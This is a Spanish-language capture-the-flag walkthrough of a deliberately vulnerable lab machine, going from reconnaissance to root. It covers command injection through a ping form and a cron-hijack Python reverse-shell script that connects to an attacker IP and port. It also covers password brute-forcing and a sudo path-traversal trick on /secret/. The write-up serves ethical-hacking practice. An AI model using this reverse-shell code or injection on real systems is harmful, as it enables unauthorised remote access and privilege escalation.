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1. RECONOCIMIENTO

Lo primero en mi caso es ver que dirección IP tiene la maquina victima

Después de saber su IP le tiro un escaneo de puertos para saber algunas posibles
vulnerabilidades que pueda tener o saber que puertos estan abiertos para poder
aprovecharlos



Sabiendo que tiene corriendo un apache, podemos tirarle un “dirb” para saber qué
directorios o archivos web tienen por la red dentro de este apache

Si ponemos la dirección IP de la maquina victima y no le especificamos el puerto no
redirigirá al puerto 80 que es el que viene por defecto en el cual está corriendo el apache
(Una página web) con esto ya podemos investigarla para sacar posibles credenciales o
vulnerabilidades



En el “dirb” nos puso que habia un robots.txt que es donde se encuentran las ubicaciones
de directorios web que no quieren que indexen los navegadores (esto si esta la palabra
Disallow que significa que no lo indexen) pero en este caso vemos una vulnerabilidad o un
fallo que nos muestra 3 rutas completas pero no en todas podemos acceder ya que es una
trampa para que perdamos tiempo, solo hay 1 de la que es real aqui dentro y es “/FLAG.txt”



#FLAG1

Si le damos a la flag veremos el contenido de la misma

Pero si volvemos a la pagina principal y le damos al botón “Ejecutar Comando” van a pasar
varios comandos y entre ellos el que nos interesa es en el que pone “cat README.txt” y su
contenido vemos que pone “d05notfound” por lo que lo ingresamos en el http por que es
una carpeta que no se encuentra en el “dirb”



Una vez dentro de la página oculta hay un cuadro en el que pone que ingresemos nuestra
IP, por lo que parece que hace un ping de primeras…

Al probar a meter nuestra IP se ve que nos muestra un mensaje de que hace ping, pero
esto lo podemos aprovechar para enlazarlo con otros comandos que se ejecutarán en la
terminal del servidor de la maquina victima



Probamos a ver /etc/passwd para asi ver que usuarios hay por si acaso

Pero lo que haremos será ejecutar una “Reverse Shell” con la IP de nuestro Host y el puerto
que queramos enlazando lo con ese comando ya que hemos comprobado que el “cat” lo lee
perfectamente, pero antes de ejecutar ese comando nos ponemos a la escucha mediante
nuestro “host”



Una vez estando a la escucha lo ejecutamos…

2. USUARIO WWW-DATA

Una vez que lo ejecutemos la pestaña se quedara pensando y nos creara una shell con el
usuario por defecto de la web “www-data”

Nos vamos a la /home de “e1i0t” y observamos que contiene



#FLAG2

Leemos la flag…

nos metemos en la carpeta “www-data/” visualizamos el archivo passwd.txt y veremos qué
nos dice que sí hemos probado a utilizar básicamente el unix_password.txt de metasploit el
diccionario de fuerza bruta



Una vez sacado la contraseña del usuario mencionado con ese diccionario veremos la
contraseña “autumn”

3. USUARIO E1I0T



Nos conectamos a el…

Dentro de este usuario nos dirigimos a los “crontabs” en el cual encontraremos que hay una
tarea ejecutándose autenticado como el usuario “an0n1m8t0” y pone que se esta
ejecutando un archivo llamado script.py en /tmp/

Vemos que es .py no está creado, por lo que lo creamos nosotros y escribimos lo que
creamos para escalar privilegios la cual se va a ejecutar cada 5 minutos

en mi caso hare una “Reverse Shell” para que cuando se ejecute y estando a la escucha se
me cree una shell autenticada como el usuario dicho anteriormente



Script.py:

import subprocess

# Ejecutar el comando de Python desde el script de Python
subprocess.run(['python3', '-c', 'import socket, subprocess, os;
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("192.168.28.4",
7777)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); import pty;
pty.spawn("/bin/sh")'])

Ahora estando a la escucha mientras esperamos a que ese .py se ejecuta para que nos
devuelva la shell

4. USUARIO AN0N1M8T0

Al rato veremos que nos la devuelve…



inspeccionamos que contiene la carpeta de este usuario

Al leer el less.txt vemos que nos dice que busquemos mejor en las carpetas para encontrar
algo que podamos leer un “secreto”

Al hacer “sudo -l” vemos que tenemos permiso para leer lo que sea dentro de la carpeta
/secret/, pero se puede hacer un truco y salirte de esa carpeta entrando en ella a la vez,
algo tal que así… “sudo cat /secret/../home/etc…” esto lo que va hacer es que se va a
comportar como que está entrando en la carpeta y saliendo de la misma a la vez y asi te
dejara leer lo que sea



#FLAG3

Listando la carpeta de /secret/ vemos 2 archivos y los leemos, una es 1 flag y la otra es una
pista…

Haciendo el truco que conté antes podemos leer ese enlace simbólico que está en la /home
la cual nos dice una pista para sacar la contraseña del otro usuario “casper”



Una vez que hayamos creado el diccionario y sacado las claves a “casper” nos conectamos
por ssh

5. USUARIO CASPER



Una vez dentro investigamos…

Vemos que al hacer “sudo -l” tenemos todos los permisos para ser “root”



6. USUARIO ROOT

#FLAG4

Una vez siendo “root” leemos la última flag y con esto ya estaria echa la maquina jeje

GRACIAS POR HABER PARTICIPADO EN MI MINIJUEGO DE HACKING ÉTICO


